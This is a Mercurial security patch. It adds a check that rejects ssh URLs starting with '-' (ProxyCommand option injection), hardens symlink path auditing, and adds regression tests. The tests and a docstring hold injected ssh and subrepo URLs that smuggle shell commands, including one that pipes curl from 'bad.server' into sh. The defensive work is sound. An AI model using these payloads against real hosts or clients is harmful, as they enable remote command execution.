diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
index 5c23633..e44ae51 100644
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2018,7 +2018,7 @@ def revert(ui, repo, ctx, parents, *pats, **opts):
fc = ctx[f]
repo.wwrite(f, fc.data(), fc.flags())
- audit_path = scmutil.pathauditor(repo.root)
+ audit_path = scmutil.pathauditor(repo.root, cached=True)
for f in remove[0]:
if repo.dirstate[f] == 'a':
repo.dirstate.drop(f)
diff --git a/mercurial/context.py b/mercurial/context.py
index 137c1f2..c3d96a0 100644
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -360,7 +360,7 @@ class changectx(object):
r = self._repo
return matchmod.match(r.root, r.getcwd(), pats,
include, exclude, default,
- auditor=r.auditor, ctx=self)
+ auditor=r.nofsauditor, ctx=self)
def diff(self, ctx2=None, match=None, **opts):
"""Returns a diff generator for the given contexts and matcher"""
@@ -1137,6 +1137,13 @@ class workingctx(changectx):
finally:
wlock.release()
+ def match(self, pats=[], include=None, exclude=None, default='glob'):
+ r = self._repo
+ return matchmod.match(r.root, r.getcwd(), pats,
+ include, exclude, default,
+ auditor=r.auditor, ctx=self)
+
+
def markcommitted(self, node):
"""Perform post-commit cleanup necessary after committing this ctx
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
index 6fbba21..c89bdd8 100644
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -695,7 +695,7 @@ class dirstate(object):
# unknown == True means we walked the full directory tree above.
# So if a file is not seen it was either a) not matching matchfn
# b) ignored, c) missing, or d) under a symlink directory.
- audit_path = scmutil.pathauditor(self._root)
+ audit_path = scmutil.pathauditor(self._root, cached=True)
for nf in iter(visit):
# Report ignored items in the dmap as long as they are not
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
index d4d675f..dcaaf40 100644
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -159,7 +159,9 @@ class localrepository(object):
self.path = self.wvfs.join(".hg")
self.origroot = path
self.auditor = scmutil.pathauditor(self.root, self._checknested)
- self.vfs = scmutil.vfs(self.path)
+ self.nofsauditor = scmutil.pathauditor(self.root, self._checknested,
+ realfs=False, cached=True)
+ self.vfs = scmutil.vfs(self.path, cacheaudited=True)
self.opener = self.vfs
self.baseui = baseui
self.ui = baseui.copy()
@@ -220,7 +222,9 @@ class localrepository(object):
if inst.errno != errno.ENOENT:
raise
- self.store = store.store(requirements, self.sharedpath, scmutil.vfs)
+ self.store = store.store(
+ requirements, self.sharedpath,
+ lambda base: scmutil.vfs(base, cacheaudited=True))
self.spath = self.store.path
self.svfs = self.store.vfs
self.sopener = self.svfs
diff --git a/mercurial/posix.py b/mercurial/posix.py
index a8fc82b..4f04a56 100644
--- a/mercurial/posix.py
+++ b/mercurial/posix.py
@@ -7,6 +7,7 @@
from i18n import _
import encoding
+import error ##TODOCVE
import os, sys, errno, stat, getpass, pwd, grp, socket, tempfile, unicodedata
posixfile = open
@@ -64,7 +65,13 @@ def parsepatchoutput(output_line):
def sshargs(sshcmd, host, user, port):
'''Build argument list for ssh'''
args = user and ("%s@%s" % (user, host)) or host
- return port and ("%s -p %s" % (args, port)) or args
+ if '-' in args[:1]:
+ raise error.Abort(
+ _('illegal ssh hostname or username starting with -: %s') % args)
+ args = shellquote(args)
+ if port:
+ args = '-p %s %s' % (shellquote(port), args)
+ return args
def isexec(f):
"""check whether a file is executable"""
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
index f8c96c1..88a35b5 100644
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -118,12 +118,22 @@ class pathauditor(object):
- traverses a symlink (e.g. a/symlink_here/b)
- inside a nested repository (a callback can be used to approve
some nested repositories, e.g., subrepositories)
+
+ The file system checks are only done when 'realfs' is set to True (the
+ default). They should be disable then we are auditing path for operation on
+ stored history.
+
+ If 'cached' is set to True, audited paths and sub-directories are cached.
+ Be careful to not keep the cache of unmanaged directories for long because
+ audited paths may be replaced with symlinks.
'''
- def __init__(self, root, callback=None):
+ def __init__(self, root, callback=None, realfs=True, cached=False):
self.audited = set()
self.auditeddir = set()
self.root = root
+ self._realfs = realfs
+ self._cached = cached
self.callback = callback
if os.path.lexists(root) and not util.checkcase(root):
self.normcase = util.normcase
@@ -166,33 +176,39 @@ class pathauditor(object):
normprefix = os.sep.join(normparts)
if normprefix in self.auditeddir:
break
- curpath = os.path.join(self.root, prefix)
- try:
- st = os.lstat(curpath)
- except OSError, err:
- # EINVAL can be raised as invalid path syntax under win32.
- # They must be ignored for patterns can be checked too.
- if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL):
- raise
- else:
- if stat.S_ISLNK(st.st_mode):
- raise util.Abort(
- _('path %r traverses symbolic link %r')
- % (path, prefix))
- elif (stat.S_ISDIR(st.st_mode) and
- os.path.isdir(os.path.join(curpath, '.hg'))):
- if not self.callback or not self.callback(curpath):
- raise util.Abort(_("path '%s' is inside nested "
- "repo %r")
- % (path, prefix))
+
+ if self._realfs:
+ self._checkfs(prefix,path)
prefixes.append(normprefix)
parts.pop()
normparts.pop()
- self.audited.add(normpath)
- # only add prefixes to the cache after checking everything: we don't
- # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
- self.auditeddir.update(prefixes)
+ if self._cached:
+ self.audited.add(normpath)
+ # only add prefixes to the cache after checking everything: we don't
+ # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
+ self.auditeddir.update(prefixes)
+
+ def _checkfs(self, prefix, path):
+ curpath = os.path.join(self.root, prefix)
+ try:
+ st = os.lstat(curpath)
+ except OSError, err:
+ # EINVAL can be raised as invalid path syntax under win32.
+ # They must be ignored for patterns can be checked too.
+ if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL):
+ raise
+ else:
+ if stat.S_ISLNK(st.st_mode):
+ raise util.Abort(
+ _('path %r traverses symbolic link %r')
+ % (path, prefix))
+ elif (stat.S_ISDIR(st.st_mode) and
+ os.path.isdir(os.path.join(curpath, '.hg'))):
+ if not self.callback or not self.callback(curpath):
+ raise util.Abort(_("path '%s' is inside nested "
+ "repo %r")
+ % (path, prefix))
def check(self, path):
try:
@@ -276,13 +292,19 @@ class vfs(abstractvfs):
This class is used to hide the details of COW semantics and
remote file access from higher level code.
+
+ 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
+ (b) the base directory is managed by hg and considered sort-of append-only.
+ See pathauditor() for details.
'''
- def __init__(self, base, audit=True, expandpath=False, realpath=False):
+ def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
+ realpath=False):
if expandpath:
base = util.expandpath(base)
if realpath:
base = os.path.realpath(base)
self.base = base
+ self._cacheaudited = cacheaudited
self._setmustaudit(audit)
self.createmode = None
self._trustnlink = None
@@ -293,7 +315,8 @@ class vfs(abstractvfs):
def _setmustaudit(self, onoff):
self._audit = onoff
if onoff:
- self.audit = pathauditor(self.base)
+ self.audit = pathauditor(
+ self.base, cached=self._cacheaudited)
else:
self.audit = util.always
@@ -685,8 +708,9 @@ def addremove(repo, pats=[], opts={}, dry_run=None, similarity=None):
if similarity is None:
similarity = float(opts.get('similarity') or 0)
# we'd use status here, except handling of symlinks and ignore is tricky
+ ##NOTE _interestingfiles() ##
added, unknown, deleted, removed = [], [], [], []
- audit_path = pathauditor(repo.root)
+ audit_path = pathauditor(repo.root, cached=True)
m = match(repo[None], pats, opts)
rejected = []
m.bad = lambda x, y: rejected.append(x)
diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
index 71fed08..5f46b70 100644
--- a/mercurial/sshpeer.py
+++ b/mercurial/sshpeer.py
@@ -35,6 +35,8 @@ class sshpeer(wireproto.wirepeer):
if u.scheme != 'ssh' or not u.host or u.path is None:
self._abort(error.RepoError(_("couldn't parse location %s") % path))
+ util.checksafessh(path)
+
self.user = u.user
if u.passwd is not None:
self._abort(error.RepoError(_("password in URL not supported")))
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
index 7286f06..6347ace 100644
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -969,6 +969,10 @@ class svnsubrepo(abstractsubrepo):
# The revision must be specified at the end of the URL to properly
# update to a directory which has since been deleted and recreated.
args.append('%s@%s' % (state[0], state[1]))
+
+ # SEC: check that the ssh url is safe
+ util.checksafessh(state[0])
+
status, err = self._svncommand(args, failok=True)
if not re.search('Checked out revision [0-9]+.', status):
if ('is already a working copy for a different URL' in err
@@ -1172,6 +1176,9 @@ class gitsubrepo(abstractsubrepo):
def _fetch(self, source, revision):
if self._gitmissing():
+ # SEC: check for safe ssh url
+ util.checksafessh(source)
+
source = self._abssource(source)
self._ui.status(_('cloning subrepo %s from %s\n') %
(self._relpath, source))
diff --git a/mercurial/util.py b/mercurial/util.py
index 8ea36bb..36d507d 100644
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -1863,6 +1863,21 @@ def hasdriveletter(path):
def urllocalpath(path):
return url(path, parsequery=False, parsefragment=False).localpath()
+def checksafessh(path):
+ """check if a path / url is a potentially unsafe ssh exploit (SEC)
+
+ This is a sanity check for ssh urls. ssh will parse the first item as
+ an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+ Let's prevent these potentially exploited urls entirely and warn the
+ user.
+
+ Raises an error.Abort when the url is unsafe.
+ """
+ path = urllib.unquote(path)
+ if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
+ raise error.Abort(_('potentially unsafe url: %r') %
+ (path,))
+
def hidepassword(u):
'''hide user credential in a url string'''
u = url(u)
diff --git a/mercurial/windows.py b/mercurial/windows.py
index 1e8a623..40a5a50 100644
--- a/mercurial/windows.py
+++ b/mercurial/windows.py
@@ -6,7 +6,7 @@
# GNU General Public License version 2 or any later version.
from i18n import _
-import osutil, encoding
+import osutil, encoding, error ##TODOCVE
import errno, msvcrt, os, re, stat, sys, _winreg
import win32
@@ -100,7 +100,14 @@ def sshargs(sshcmd, host, user, port):
'''Build argument list for ssh or Plink'''
pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
args = user and ("%s@%s" % (user, host)) or host
- return port and ("%s %s %s" % (args, pflag, port)) or args
+ if args.startswith('-') or args.startswith('/'):
+ raise error.Abort(
+ _('illegal ssh hostname or username starting with - or /: %s') %
+ args)
+ args = shellquote(args)
+ if port:
+ args = '%s %s %s' % (pflag, shellquote(port), args)
+ return args
def setflags(f, l, x):
pass
diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
index 5f49e7f..08d61bb 100644
--- a/tests/test-audit-path.t
+++ b/tests/test-audit-path.t
@@ -27,6 +27,45 @@ should still fail - maybe
abort: path 'b/b' traverses symbolic link 'b' (glob)
[255]
+ $ hg commit -m 'add symlink b'
+
+
+Test symlink traversing when accessing history:
+-----------------------------------------------
+
+(build a changeset where the path exists as a directory)
+
+ $ hg up 0
+ 0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+ $ mkdir b
+ $ echo c > b/a
+ $ hg add b/a
+ $ hg ci -m 'add directory b'
+ created new head
+
+Test that hg cat does not do anything wrong the working copy has 'b' as directory
+
+ $ hg cat b/a
+ c
+ $ hg cat -r "desc(directory)" b/a
+ c
+ $ hg cat -r "desc(symlink)" b/a
+ b/a: no such file in rev bc151a1f53bd
+ [1]
+
+Test that hg cat does not do anything wrong the working copy has 'b' as a symlink (issue4749)
+
+ $ hg up 'desc(symlink)'
+ 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+ $ hg cat b/a
+ b/a: no such file in rev bc151a1f53bd
+ [1]
+ $ hg cat -r "desc(directory)" b/a
+ c
+ $ hg cat -r "desc(symlink)" b/a
+ b/a: no such file in rev bc151a1f53bd
+ [1]
+
#endif
@@ -90,3 +129,90 @@ attack /tmp/test
[255]
$ cd ..
+
+Test symlink traversal on merge:
+--------------------------------
+
+#if symlink
+
+set up symlink hell
+
+ $ mkdir merge-symlink-out
+ $ hg init merge-symlink
+ $ cd merge-symlink
+ $ touch base
+ $ hg commit -qAm base
+ $ ln -s ../merge-symlink-out a
+ $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
+ $ hg up -q 0
+ $ mkdir a
+ $ touch a/poisoned
+ $ hg commit -qAm 'file a/poisoned'
+ $ hg log -G '{rev}: {desc}\n'
+
+try trivial merge
+
+ $ hg up -qC 1
+ $ hg merge 2
+ abort: path 'a/poisoned' traverses symbolic link 'a'
+ [255]
+
+try rebase onto other revision: cache of audited paths should be discarded,
+and the rebase should fail (issue5628)
+
+ $ hg up -qC 2
+ $ hg rebase -s 2 -d 1 --config extensions.rebase=
+ abort: path 'a/poisoned' traverses symbolic link 'a'
+ [255]
+ $ ls ../merge-symlink-out
+
+ $ cd ..
+
+Test symlink traversal on update:
+---------------------------------
+
+ $ mkdir update-symlink-out
+ $ hg init update-symlink
+ $ cd update-symlink
+ $ ln -s ../update-symlink-out a
+ $ hg commit -qAm 'symlink a -> ../update-symlink-out'
+ $ hg rm a
+ $ mkdir a && touch a/b
+ $ hg ci -qAm 'file a/b' a/b
+ $ hg up -qC 0
+ $ hg rm a
+ $ mkdir a && touch a/c
+ $ hg ci -qAm 'rm a, file a/c'
+ $ hg log -G '{rev}: {desc}\n'
+
+try linear update where symlink already exists:
+
+ $ hg up -qC 0
+ $ hg up 1
+ abort: path 'a/b' traverses symbolic link 'a'
+ [255]
+
+try linear update including symlinked directory and its content: paths are
+audited first by calculateupdates(), where no symlink is created so both
+'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
+
+ $ hg up -qC null
+ $ hg up 1
+ abort: path 'a/b' traverses symbolic link 'a'
+ [255]
+ $ ls ../update-symlink-out
+
+try branch update replacing directory with symlink, and its content: the
+path 'a' is audited as a directory first, which should be audited again as
+a symlink.
+
+ $ rm -f a
+ $ hg up -qC 2
+ $ hg up 1
+ abort: path 'a/b' traverses symbolic link 'a'
+ [255]
+ $ ls ../update-symlink-out
+
+ $ cd ..
+
+#endif
diff --git a/tests/test-clone.t b/tests/test-clone.t
index 55e8a4a..2b09c4e 100644
--- a/tests/test-clone.t
+++ b/tests/test-clone.t
@@ -621,3 +621,66 @@ re-enable perm to allow deletion
#endif
$ cd ..
+
+SEC: check for unsafe ssh url
+
+ $ cat >> $HGRCPATH << EOF
+ > [ui]
+ > ssh = sh -c "read l; read l; read l"
+ > EOF
+
+ $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+ [255]
+ $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+ [255]
+ $ hg clone 'ssh://fakehost|touch%20owned/path'
+ abort: no suitable response from remote hg!
+ [255]
+ $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
+ abort: no suitable response from remote hg!
+ [255]
+
+ $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
+ [255]
+
+#if windows
+ $ hg clone "ssh://%26touch%20owned%20/" --debug
+ running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
+ sending hello command
+ sending between command
+ abort: no suitable response from remote hg!
+ [255]
+ $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
+ running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
+ sending hello command
+ sending between command
+ abort: no suitable response from remote hg!
+ [255]
+#else
+ $ hg clone "ssh://%3btouch%20owned%20/" --debug
+ running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
+ sending hello command
+ sending between command
+ abort: no suitable response from remote hg!
+ [255]
+ $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
+ running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
+ sending hello command
+ sending between command
+ abort: no suitable response from remote hg!
+ [255]
+#endif
+
+ $ hg clone "ssh://v-alid.example.com/" --debug
+ running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
+ sending hello command
+ sending between command
+ abort: no suitable response from remote hg!
+ [255]
+
+We should not have created a file named owned - if it exists, the
+attack succeeded.
+ $ if test -f owned; then echo 'you got owned'; fi
diff --git a/tests/test-pull.t b/tests/test-pull.t
index 01356a6..c08f0a7 100644
--- a/tests/test-pull.t
+++ b/tests/test-pull.t
@@ -89,4 +89,26 @@ regular shell commands.
$ URL=`python -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
$ hg pull -q "$URL"
+SEC: check for unsafe ssh url
+
+ $ cat >> $HGRCPATH << EOF
+ > [ui]
+ > ssh = sh -c "read l; read l; read l"
+ > EOF
+
+ $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+ [255]
+ $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+ [255]
+ $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
+ abort: no suitable response from remote hg!
+ [255]
+ $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
+ abort: no suitable response from remote hg!
+ [255]
+
+ $ [ ! -f owned ] || echo 'you got owned'
+
$ cd ..
diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t
index 24cb6a2..70a09ce 100644
--- a/tests/test-subrepo-git.t
+++ b/tests/test-subrepo-git.t
@@ -564,7 +564,7 @@ test for Git CVE-2016-3068
$ cd malicious-subrepository
$ echo "s = [git]ext::sh -c echo% pwned% >&2" > .hgsub
$ git init s
- Initialized empty Git repository in $TESTTMP/tc/malicious-subrepository/s/.git/
+ Initialized empty Git repository in $TESTTMP/malicious-subrepository/s/.git/
$ cd s
$ git commit --allow-empty -m 'empty'
[master (root-commit) 153f934] empty
@@ -573,7 +573,7 @@ test for Git CVE-2016-3068
$ hg commit -m "add subrepo"
$ cd ..
$ env -u GIT_ALLOW_PROTOCOL hg clone malicious-subrepository malicious-subrepository-protected
- Cloning into '$TESTTMP/tc/malicious-subrepository-protected/s'...
+ Cloning into '$TESTTMP/malicious-subrepository-protected/s'...
fatal: transport 'ext' not allowed
updating to branch default
cloning subrepo s from ext::sh -c echo% pwned% >&2
@@ -582,7 +582,6 @@ test for Git CVE-2016-3068
whitelisting of ext should be respected (that's the git submodule behaviour)
$ env GIT_ALLOW_PROTOCOL=ext hg clone malicious-subrepository malicious-subrepository-clone-allowed
- Cloning into '$TESTTMP/tc/malicious-subrepository-clone-allowed/s'...
pwned
fatal: Could not read from remote repository.
@@ -592,3 +591,35 @@ whitelisting of ext should be respected (that's the git submodule behaviour)
cloning subrepo s from ext::sh -c echo% pwned% >&2
abort: git clone error 128 in s (in subrepo s)
[255]
+
+test for ssh exploit with git subrepos 2017-07-25
+
+ $ hg init malicious-proxycommand
+ $ cd malicious-proxycommand
+ $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
+ $ git init s
+ Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
+ $ cd s
+ $ git commit --allow-empty -m 'empty'
+ [master (root-commit) 153f934] empty
+ $ cd ..
+ $ hg add .hgsub
+ $ hg ci -m 'add subrepo'
+ $ cd ..
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
+ updating to branch default
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
+ [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+ $ cd malicious-proxycommand
+ $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
+ $ hg ci -m 'change url to percent encoded'
+ $ cd ..
+ $ rm -r malicious-proxycommand-clone
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
+ updating to branch default
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
+ [255]
+
diff --git a/tests/test-subrepo-svn.t b/tests/test-subrepo-svn.t
index dde08d0..1216808 100644
--- a/tests/test-subrepo-svn.t
+++ b/tests/test-subrepo-svn.t
@@ -623,3 +623,43 @@ well.
Checked out revision 15.
2 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd ..
+
+SEC: test for ssh exploit
+
+ $ hg init ssh-vuln
+ $ cd ssh-vuln
+ $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
+ $ svn co --quiet "$SVNREPOURL"/src s
+ $ hg add .hgsub
+ $ hg ci -m1
+ $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
+ $ hg ci -m2
+ $ cd ..
+ $ hg clone ssh-vuln ssh-vuln-clone
+ updating to branch default
+ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
+ [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+ $ cd ssh-vuln
+ $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
+ $ hg ci -m3
+ $ cd ..
+ $ rm -r ssh-vuln-clone
+ $ hg clone ssh-vuln ssh-vuln-clone
+ updating to branch default
+ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
+ [255]
+
+also check that hiding the attack in the username doesn't work:
+
+ $ cd ssh-vuln
+ $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
+ $ hg ci -m3
+ $ cd ..
+ $ rm -r ssh-vuln-clone
+ $ hg clone ssh-vuln ssh-vuln-clone
+ updating to branch default
+ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s)
+ [255]
diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t
index c0d017c..d4bde48 100644
--- a/tests/test-subrepo.t
+++ b/tests/test-subrepo.t
@@ -1214,3 +1214,77 @@ Courtesy phases synchronisation to publishing server does not block the push
no changes found
[1]
+
+test for ssh exploit 2017-07-25
+
+ $ cat >> $HGRCPATH << EOF
+ > [ui]
+ > ssh = sh -c "read l; read l; read l"
+ > EOF
+
+ $ hg init malicious-proxycommand
+ $ cd malicious-proxycommand
+ $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
+ $ hg init s
+ $ cd s
+ $ echo init > init
+ $ hg add
+ adding init
+ $ hg commit -m init
+ $ cd ..
+ $ hg add .hgsub
+ $ hg ci -m 'add subrepo'
+ $ cd ..
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
+ updating to branch default
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
+ [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+ $ cd malicious-proxycommand
+ $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
+ $ hg ci -m 'change url to percent encoded'
+ $ cd ..
+ $ rm -r malicious-proxycommand-clone
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
+ updating to branch default
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
+ [255]
+
+also check for a pipe
+
+ $ cd malicious-proxycommand
+ $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
+ $ hg ci -m 'change url to pipe'
+ $ cd ..
+ $ rm -r malicious-proxycommand-clone
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
+ updating to branch default
+ abort: no suitable response from remote hg!
+ [255]
+ $ [ ! -f owned ] || echo 'you got owned'
+
+also check that a percent encoded '|' (%7C) doesn't work
+
+ $ cd malicious-proxycommand
+ $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
+ $ hg ci -m 'change url to percent encoded pipe'
+ $ cd ..
+ $ rm -r malicious-proxycommand-clone
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
+ updating to branch default
+ abort: no suitable response from remote hg!
+ [255]
+ $ [ ! -f owned ] || echo 'you got owned'
+
+and bad usernames:
+ $ cd malicious-proxycommand
+ $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
+ $ hg ci -m 'owned username'
+ $ cd ..
+ $ rm -r malicious-proxycommand-clone
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
+ updating to branch default
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s)
+ [255]